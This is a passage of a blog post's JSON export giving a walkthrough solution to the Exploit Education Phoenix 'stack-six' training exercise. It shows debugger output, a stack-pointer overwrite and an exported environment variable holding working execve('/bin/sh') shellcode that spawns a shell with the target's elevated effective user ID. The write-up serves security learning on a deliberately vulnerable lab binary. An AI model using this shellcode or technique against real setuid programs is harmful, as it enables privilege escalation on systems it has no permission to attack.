&quot;\/opt\/phoenix\/amd64\/stack-six&quot;\r\n0x7fffffffeff8: &quot;&quot;\r\n0x7fffffffeff9: &quot;&quot;<\/pre>\n<p>I set a breakpoint at the start of<span style=\"font-family: Courier New; font-weight: bold;\"> main()<\/span> and ran the program to get the stack started. I found an address to the beginning of all the environment variables and examined the next 20 strings after that.<\/p>\n<p>Note that I also have the <strong>OLDPWD<\/strong> environment variable. That&#8217;s because I had previously changed to the<span style=\"font-family: Courier New; font-weight: bold;\"> \/opt\/phoenix\/amd64 <\/span>directory and back to home (~). If you have not done this, then your stack addresses will differ slightly.<\/p>\n<p>Next, I want to see the value of the saved base pointer in the<span style=\"font-family: Courier New; font-weight: bold;\"> greet()<\/span> function, so I set a breakpoint in there right after RBP is pushed onto the stack:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">gef&gt; b *greet+1\r\nBreakpoint 2 at 0x4006fe\r\n\r\ngef&gt; c\r\nContinuing.\r\nWelcome to phoenix\/stack-six, brought to you by https:\/\/exploit.education\r\n\r\nBreakpoint 2, 0x00000000004006fe in greet ()\r\n\r\n&#x5B;... GEF output snipped ...]\r\n\r\ngef&gt; info frame\r\nStack level 0, frame at 0x7fffffffe5c0:\r\n rip = 0x4006fe in greet; saved rip = 0x4007e9\r\n called by frame at 0x7fffffffe5f0\r\n Arglist at 0x7fffffffe5b0, args: \r\n Locals at 0x7fffffffe5b0, Previous frame's sp is 0x7fffffffe5c0\r\n Saved registers:\r\n  rbp at 0x7fffffffe5b0, rip at 0x7fffffffe5b8\r\n\r\ngef&gt; x\/1xg 0x7fffffffe5b0\r\n0x7fffffffe5b0: 0x00007fffffffe5e0<\/pre>\n<p>So, just like before, we&#8217;ve confirmed that we can set RBP to any address between 0x7fffffffe500 and 0x7fffffffe600 (exclusive). The only difference this time is that we know that the addresses in GDB will be the same as while running the binary directly.<\/p>\n<p>Now I&#8217;m going to use a GEF command to get a nice, pretty, view of that memory region and jump to the<span style=\"font-family: Courier New; font-weight: bold;\"> ret<\/span> instruction in<span style=\"font-family: Courier New; font-weight: bold;\"> main()<\/span> so that I know which pointers I have to choose from for putting into RIP:<\/p>\n<pre class=\"brush: plain; highlight: [49]; title: ; wrap-lines: true; notranslate\" title=\"\">gef&gt; memory watch 0x00007fffffffe500 32 qword\r\n&#x5B;+] Adding memwatch to 0x7fffffffe500\r\n\r\ngef&gt; b *main+92\r\nBreakpoint 3 at 0x4007f7\r\n\r\ngef&gt; c\r\nContinuing.\r\nWelcome, I am pleased to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\ufffd\ufffd\ufffd\ufffd\r\n\r\nBreakpoint 3, 0x00000000004007f7 in main ()\r\n\r\n&#x5B;... GEF output snipped ...]\r\n\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 code:x86:64 \u2500\u2500\u2500\u2500\r\n     0x4007ec &lt;main+81&gt;        call   0x400530 &lt;puts@plt&gt;\r\n     0x4007f1 &lt;main+86&gt;        mov    eax, 0x0\r\n     0x4007f6 &lt;main+91&gt;        leave  \r\n \u2192   0x4007f7 &lt;main+92&gt;        ret    \r\n&#x5B;!] Cannot disassemble from $PC\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 memory:0x7fffffffe500 \u2500\u2500\u2500\u2500\r\n0x00007fffffffe500\u2502+0x0000 0x00007ffff7ffc948\r\n0x00007fffffffe508\u2502+0x0008 0x00000000000000a6\r\n0x00007fffffffe510\u2502+0x0010 0x0000000000000001\r\n0x00007fffffffe518\u2502+0x0018 0x00007ffff7db6d0f\r\n0x00007fffffffe520\u2502+0x0020 0x00007ffff7ffc948\r\n0x00007fffffffe528\u2502+0x0028 0x00000000000000a6\r\n0x00007fffffffe530\u2502+0x0030 0x00007fffffffe58f\r\n0x00007fffffffe538\u2502+0x0038 0x0000000000000001\r\n0x00007fffffffe540\u2502+0x0040 0x4141414141414141\r\n0x00007fffffffe548\u2502+0x0048 0x00007ffff7ffb300\r\n0x00007fffffffe550\u2502+0x0050 0x0000000000000000\r\n0x00007fffffffe558\u2502+0x0058 0x0000000000600c00\r\n0x00007fffffffe560\u2502+0x0060 0x000000000040079b\r\n0x00007fffffffe568\u2502+0x0068 0x0000000000000000\r\n0x00007fffffffe570\u2502+0x0070 0x0000000000000000\r\n0x00007fffffffe578\u2502+0x0078 0x00007ffff7db6b1e\r\n0x00007fffffffe580\u2502+0x0080 0x00007ffff7ffb300\r\n0x00007fffffffe588\u2502+0x0088 0x0a00000000000000\r\n0x00007fffffffe590\u2502+0x0090 0x00007ffff7ffb300\r\n0x00007fffffffe598\u2502+0x0098 0x00007ffff7db9934\r\n0x00007fffffffe5a0\u2502+0x00a0 0x4141414141414141\r\n0x00007fffffffe5a8\u2502+0x00a8 0x00007fffffffe541\r\n0x00007fffffffe5b0\u2502+0x00b0 0x00007fffffffe648\r\n0x00007fffffffe5b8\u2502+0x00b8 0x00000000004007f1\r\n0x00007fffffffe5c0\u2502+0x00c0 0x00007fffffffe638\r\n0x00007fffffffe5c8\u2502+0x00c8 0x00000001ffffe648\r\n0x00007fffffffe5d0\u2502+0x00d0 0x000000000040079b\r\n0x00007fffffffe5d8\u2502+0x00d8 0x00007fffffffef10\r\n0x00007fffffffe5e0\u2502+0x00e0 0x0000000000000001\r\n0x00007fffffffe5e8\u2502+0x00e8 0x00007ffff7d8fd62\r\n0x00007fffffffe5f0\u2502+0x00f0 0x0000000000000000\r\n0x00007fffffffe5f8\u2502+0x00f8 0x00007fffffffe630\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 threads \u2500\u2500\u2500\u2500\r\n&#x5B;#0] Id 1, Name: &quot;stack-six&quot;, stopped, reason: BREAKPOINT\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 trace \u2500\u2500\u2500\u2500\r\n&#x5B;#0] 0x4007f7 \u2192 main()\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\r\n\r\ngef&gt; x\/s 0x00007fffffffef10\r\n0x7fffffffef10: 'A' &lt;repeats 127 times&gt;<\/pre>\n<p>Here, we can easily scan the memory for a pointer to use. I&#8217;m looking for something pointing to the environment variables, so between 0x7fffffffe86a and 0x7fffffffeff8. I&#8217;ve highlighted one that looks promising. My <strong>ExploitEducation<\/strong> variable starts at 0x7fffffffeeff, so I examined the string there. Lo &amp; behold, it points right to the start of the content of the variable! This couldn&#8217;t be a better location. Next, I&#8217;ll set the <strong>ExploitEducation<\/strong> variable again, but with shellcode at the beginning. The shellcode I got from <a href=\"http:\/\/shell-storm.org\/shellcode\/files\/shellcode-603.php\">http:\/\/shell-storm.org\/shellcode\/files\/shellcode-603.php<\/a>. And we&#8217;ll need to set the saved base pointer to 0x00007fffffffe5d0.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:~$ export ExploitEducation=$(python -c 'print &quot;\\x48\\x31\\xd2\\x48\\xbb\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xeb\\x08\\x53\\x48\\x89\\xe7\\x50\\x57\\x48\\x89\\xe6\\xb0\\x3b\\x0f\\x05&quot; + &quot;A&quot;*96 + &quot;\\xd0&quot;')\r\n\r\nuser@phoenix-amd64:~$ \/opt\/phoenix\/amd64\/stack-six \r\nWelcome to phoenix\/stack-six, brought to you by https:\/\/exploit.education\r\nWelcome, I am pleased to meet you H1\ufffdH\ufffd\/\/bin\/shH\ufffdSH\ufffd\ufffdPWH\ufffd\ufffd\ufffd;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\ufffd\ufffd\ufffd\ufffd\ufffd\r\n\r\n$ id\r\nuid=1000(user) gid=1000(user) euid=406(phoenix-amd64-stack-six) egid=406(phoenix-amd64-stack-six) groups=406(phoenix-amd64-stack-six),27(sudo),1000(user)<\/pre>\n<p>Great success!.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Where does Stack Six go wrong, and what can you do with it? &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-stack-six-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Phoenix | Stack Six Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-447","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/447","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=447"}],"version-history":[{"count":53,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/447\/revisions"}],"predecessor-version":[{"id":1042,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/447\/revisions\/1042"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=447"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=447"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=447"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}